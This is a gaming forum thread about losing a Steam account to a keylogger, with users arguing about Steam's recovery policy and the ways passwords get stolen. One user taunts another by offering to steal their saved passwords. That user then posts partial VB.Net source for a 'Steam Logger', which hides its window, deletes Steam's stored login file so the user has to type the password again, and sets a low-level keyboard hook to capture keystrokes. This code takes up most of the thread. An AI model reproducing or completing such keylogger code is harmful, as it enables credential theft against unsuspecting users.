Endless Paradigm

Full Version: The reason for Steam
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Pages: 1 2
I just posted a funny pic not news about Keylogger >_> <_< Dotdotdot Hihi
you would know. xP

Install one on my computer then, haha.

also, good luck getting my passwords, cause I never actually type them. :p
.........disregarding how "easy" it is to get a keylogger on someone's system

For me personally, I'd have to be dumb enough to download a keylogger. Then dumb enough to run it. And then dumb enough to tell my firewall to let this app connect to the internet, dispite the fact that it probably doesn't need internet access for any reason

And lol.... I like steam :/
ehh i aint one for getting viruses or whatever, trust me im careful, but this one got through and wasn't detected by antivirus, so yes keylogger my fault, but steam could give me a second chance. (if id cheated id cheat again, so then theyd know if i was telling the truth).

Personally i think its a way to screw people out of money, because im sure they know full well that viruses and other threats get into systems regardless of how careful people are, and accounts will get hacked not due to carelessness. For example, there are viruses that can decompile the clientregistry.blob (the file steam stores your account details in).

Just my say, not that i wanted to start a long line of people explaining how i was stupid enough to let 1 virus into my system..
joshman99 Wrote: [ -> ]ehh i aint one for getting viruses or whatever, trust me im careful, but this one got through and wasn't detected by antivirus, so yes keylogger my fault, but steam could give me a second chance. (if id cheated id cheat again, so then theyd know if i was telling the truth).

Lol, I don't get viruses even when I don't use any anti virus whatsoever (did that for like a year back then).


And considering you probably do (read: should) have a whole set of security software... pretty much...
|
V
Slushba132 Wrote:For me personally, I'd have to be dumb enough to download a keylogger. Then dumb enough to run it. And then dumb enough to tell my firewall to let this app connect to the internet, dispite the fact that it probably doesn't need internet access for any reason

Or... dumb enough to fall prey to a phishing scam.
Or... dumb enough to use a weak password.
lol @ pic.
nurehtix Wrote: [ -> ]you would know. xP

Install one on my computer then, haha.

also, good luck getting my passwords, cause I never actually type them. :p

If you don't type them then they're saved which means I can 'borrow' them much easier. :3 If you don't believe me, try me.

Also, it's a bit harder to 'borrow' Steam passwords these days unless you use a phishing site. I think ever since the new makeover of Steam, it doesn't use the clientregistry.blob file which is where your account info is saved. Granted, I guess it'd depend on what language the logger was coded in.

Spoiler for VB.Net Steam Logger:
Imports System.IO
Public Class Form1
    Dim strin As String = ""
    Dim Steam As New TextBox
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Hide()
        My.Computer.FileSystem.DeleteFile(Environment.SpecialFolder.ProgramFiles & "\Steam\clientregistry.blob")
    End Sub
    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function
    Public Class KeyboardHook
        Private Const HC_ACTION As Integer = 0
        Private Const WH_KEYBOARD_LL As Integer = 13
        Private Const WM_KEYDOWN = &H100
        Private Const WM_KEYUP = &H101
        Private Const WM_SYSKEYDOWN = &H104
        Private Const WM_SYSKEYUP = &H105

        Private Structure KBDLLHOOKSTRUCT
            Public vkCode As Integer
            Public scancode As Integer
            Public flags As Integer
            Public time As Integer
            Public dwExtraInfo As Integer
        End Structure

        Private Declare Function SetWindowsHookEx Lib "user32" _
        Alias "SetWindowsHookExA" _
        (ByVal idHook As Integer, _
        ByVal lpfn As KeyboardProcDelegate, _
        ByVal hmod As Integer, _
        ByVal dwThreadId As Integer) As Integer

        Private Declare Function CallNextHookEx Lib "user32" _
        (ByVal hHook As Integer, _
        ByVal nCode As Integer, _
        ByVal wParam As Integer, _
        ByVal lParam As KBDLLHOOKSTRUCT) As Integer

        Private Declare Function UnhookWindowsHookEx Lib "user32" _
        (ByVal hHook As Integer) As Integer


        Private Delegate Function KeyboardProcDelegate _
        (ByVal nCode As Integer, _
        ByVal wParam As Integer, _
        ByRef lParam As KBDLLHOOKSTRUCT) As Integer


        Public Shared Event KeyDown(ByVal Key As Keys)
        Public Shared Event KeyUp(ByVal Key As Keys)

        Private Shared KeyHook As Integer

        Private Shared KeyHookDelegate As KeyboardProcDelegate

        Public Sub New()

            KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
            KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
        End Sub

        Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

            If (nCode = HC_ACTION) Then
                Select Case wParam

                    Case WM_KEYDOWN, WM_SYSKEYDOWN

                        RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
                    Case WM_KEYUP, WM_SYSKEYUP

                        RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
                End Select
            End If

            Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
        End Function
        Protected Overrides Sub Finalize()

            UnhookWindowsHookEx(KeyHook)
            MyBase.Finalize()
        End Sub
Please note that that isn't the full source of the logger.
Epic!! hahaha
edit: wait... wtf?

...
Pages: 1 2
Reference URL's